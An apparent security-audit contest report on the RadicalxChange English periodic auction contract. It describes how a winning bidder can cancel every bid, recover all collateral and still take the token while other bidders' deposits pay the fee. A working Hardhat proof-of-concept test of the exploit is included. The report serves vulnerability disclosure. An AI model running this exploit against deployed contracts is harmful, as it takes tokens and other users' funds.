sherlock-audit / 2024-02-radicalxchange-judging

3 stars 1 forks source link

neocrao - The winning bidder can close all bids and still win the token without paying anything. Furthermore, a very high bid will cause monetary loss to other bidders as they will need to cover the bidding fee. #76

Closed sherlock-admin3 closed 8 months ago

sherlock-admin3 commented 8 months ago

neocrao

high

The winning bidder can close all bids and still win the token without paying anything. Furthermore, a very high bid will cause monetary loss to other bidders as they will need to cover the bidding fee.

Summary

The EnglishPeriodicAuctionFacet.sol contract provides a method for the bidders to cancel all of their bids via the EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral() function. If the bidder is the winning bidder, then all of their bid amounts are reset to 0, and there is no checks performed to ensure that the bidder is not a winning bidder, and the highestBids storage state is not updated to reflect this.

This causes the close auction method to still consider the bidder that has withdrawn all the bids as the bid winner, and the bidder gets the token without paying for the bid. When the token is transferred, it pulls the funds from other bidders to cover for the fee amount, thereby creating monetary loss for other bidders too.

Links to affected code

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/facets/EnglishPeriodicAuctionFacet.sol#L187

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L416

Vulnerability Detail

The EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral() allows the bidders to cancel all of their bids, and get their collateral.

This internally calls EnglishPeriodicAuctionInternal::_cancelBid function which sets all the bids of the bidder for all the rounds to 0:

function _cancelAllBids(uint256 tokenId, address bidder) internal {
    EnglishPeriodicAuctionStorage.Layout storage l = EnglishPeriodicAuctionStorage.layout();

    uint256 currentAuctionRound = l.currentAuctionRound[tokenId];

    for (uint256 i = 0; i <= currentAuctionRound; i++) {
        Bid storage bid = l.bids[tokenId][i][bidder];

        if (bid.collateralAmount > 0) {
            // Make collateral available to withdraw
            l.availableCollateral[bidder] += bid.collateralAmount;

            // Reset collateral and bid
            bid.collateralAmount = 0;
            bid.bidAmount = 0;
        }
    }
}

Furthermore, the EnglishPeriodicAuctionInternal::_withdrawCollateral() function is called which withdraws all the available collateral from the canceled bids back to the bidder:

function _withdrawCollateral(address bidder) internal {
    EnglishPeriodicAuctionStorage.Layout storage l = EnglishPeriodicAuctionStorage.layout();

    uint256 collateralAmount = l.availableCollateral[bidder];

    require(collateralAmount > 0, "EnglishPeriodicAuction: No collateral to withdraw");

    // Make collateral unavailable to withdraw
    l.availableCollateral[bidder] = 0;

    // Transfer collateral back to bidder
    //slither-disable-next-line low-level-calls
    (bool success,) = bidder.call{value: collateralAmount}("");
    require(success, "EnglishPeriodicAuction: Failed to withdraw collateral");
}

Therefore, after calling EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(), the bids are reset to 0, and any funds that were sent by the bidder to the contract gets transferred back to the bidder.

Now, once the auction is over, the EnglishPeriodicAuctionFacet::closeAuction() is called. This function still determines that the bidder who withdrew all of their bids is still the bid winner because the highestBids storage state variable retains the bidder as the bid winner.

Impact

When the bidder calls EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(), they get to cancel all of their bids, and get their collateral back. But the system still treats this bidder as the bid winner, and upon closing the auction, this bidder wins the bid on the token without paying anything for the bid amount.

Furthermore, when close auction is called, the fee is transferred to the beneficiary, which is taken from the contract balance. Because the bidder already pulled all of their funds back, this fee amount gets covered from the contract's balance which actually belongs to other bidders that did not win the auctions. The attacking bidder can put a large big such that the fee is very high, which will cause monetary loss to the other bidders.

In summary, there are two primary impacts:

Code Snippet

Place the below code in test/auction/EnglishPeriodicAuction.ts, and run using yarn run hardhat test:

describe.only('PoC', function () {
  it('close all bids and win the token without paying anything. Also DoS the close auction mechanism if not enough funds available', async function () {
    let gasSpentByBidder = ethers.utils.parseEther("0");

    // Auction start: Now - 200
    // Auction end: Now + 100
    const instance = await getInstance({
      auctionLengthSeconds: 300,
      initialPeriodStartTime: (await time.latest()) - 200,
      licensePeriod: 1000,
    });
    const licenseMock = await ethers.getContractAt(
      'NativeStewardLicenseMock',
      instance.address,
    );

    const bidder1_initialBalance = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_initialBalance).to.be.equal(ethers.utils.parseEther("10000"));

    // Bids of Bidder 1 (Attacker)
    const bidder1_bidAmount = ethers.utils.parseEther('100');
    const bidder1_feeAmount = await instance.calculateFeeFromBid(bidder1_bidAmount);
    const bidder1_collateralAmount = bidder1_feeAmount.add(bidder1_bidAmount);

    // Bids of Bidder 2 (Victim)
    const bidder2_bidAmount = ethers.utils.parseEther('10');
    const bidder2_feeAmount = await instance.calculateFeeFromBid(bidder2_bidAmount);
    const bidder2_collateralAmount = bidder2_feeAmount.add(bidder2_bidAmount);

    await instance
      .connect(bidder2)
      .placeBid(0, bidder2_bidAmount, { value: bidder2_collateralAmount });

    const bidder1_bid = await instance
      .connect(bidder1)
      .placeBid(0, bidder1_bidAmount, { value: bidder1_collateralAmount });

    const bidder1_bid_receipt = (await bidder1_bid.wait())
    gasSpentByBidder = gasSpentByBidder.add(bidder1_bid_receipt.gasUsed.mul(bidder1_bid_receipt.effectiveGasPrice));

    // The attacker bidder placed the bid, and the eth balance got reduced
    const bidder1_BalanceAfterBid = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_BalanceAfterBid.add(gasSpentByBidder)).to.be.equal(bidder1_initialBalance.sub(bidder1_collateralAmount));

    const oldBeneficiaryBalance = await ethers.provider.getBalance(
      nonOwner.address,
    );

    await time.increase(100);

    const bidder1_cancelAllBids = await instance.connect(bidder1).cancelAllBidsAndWithdrawCollateral(0);
    const bidder1_cancelAllBids_receipt = (await bidder1_cancelAllBids.wait())
    gasSpentByBidder = gasSpentByBidder.add(bidder1_cancelAllBids_receipt.gasUsed.mul(bidder1_cancelAllBids_receipt.effectiveGasPrice));

    // The attacker bidder canceled the bids, and the balances were returned
    const bidder1_balanceAfterCancelingBids = await ethers.provider.getBalance(
      bidder1.address
    );
    expect(bidder1_balanceAfterCancelingBids.add(gasSpentByBidder)).to.be.equal(bidder1_initialBalance);

    await instance.connect(bidder2).closeAuction(0);

    const newBeneficiaryBalance = await ethers.provider.getBalance(
      nonOwner.address,
    );

    expect(await instance.availableCollateral(owner.address)).to.be.equal(bidder1_bidAmount);

    const highestBid = await instance['highestBid(uint256,uint256)'](0, 0);
    const bidder1Bid = await instance['bidOf(uint256,uint256,address)'](
      0,
      0,
      bidder1.address,
    );

    expect(await instance.availableCollateral(bidder1.address)).to.be.equal(
      0,
    );

    expect(bidder1Bid.collateralAmount).to.be.equal(0);

    expect(highestBid.bidder).to.be.equal(bidder1.address);
    expect(highestBid.bidAmount).to.be.equal(bidder1_bidAmount);
    expect(highestBid.feeAmount).to.be.equal(bidder1_feeAmount);
    expect(highestBid.collateralAmount).to.be.equal(0);

    // The attacker bidder got away with the token by just paying the fee, and not the whole bid amount
    expect(await licenseMock.ownerOf(0)).to.be.equal(bidder1.address);

    const bidder1_finalBalance = await ethers.provider.getBalance(
      bidder1.address
    );
    // The attacker bidder only had to pay some gas to win the token
    expect(bidder1_initialBalance.sub(bidder1_finalBalance)).to.be.equal(gasSpentByBidder);

    // The other bidders cannot withdraw their collateral,
    // as their funds went into covering the fee for the attacker bidder
    await expect(instance.connect(bidder2).cancelAllBidsAndWithdrawCollateral(0)).to.be.reverted;

    // Fee is distributed to beneficiary
    expect(newBeneficiaryBalance.sub(oldBeneficiaryBalance)).to.be.equal(
      bidder1_feeAmount,
    );
  });
});

Tool used

Manual Review

Recommendation

Duplicate of #14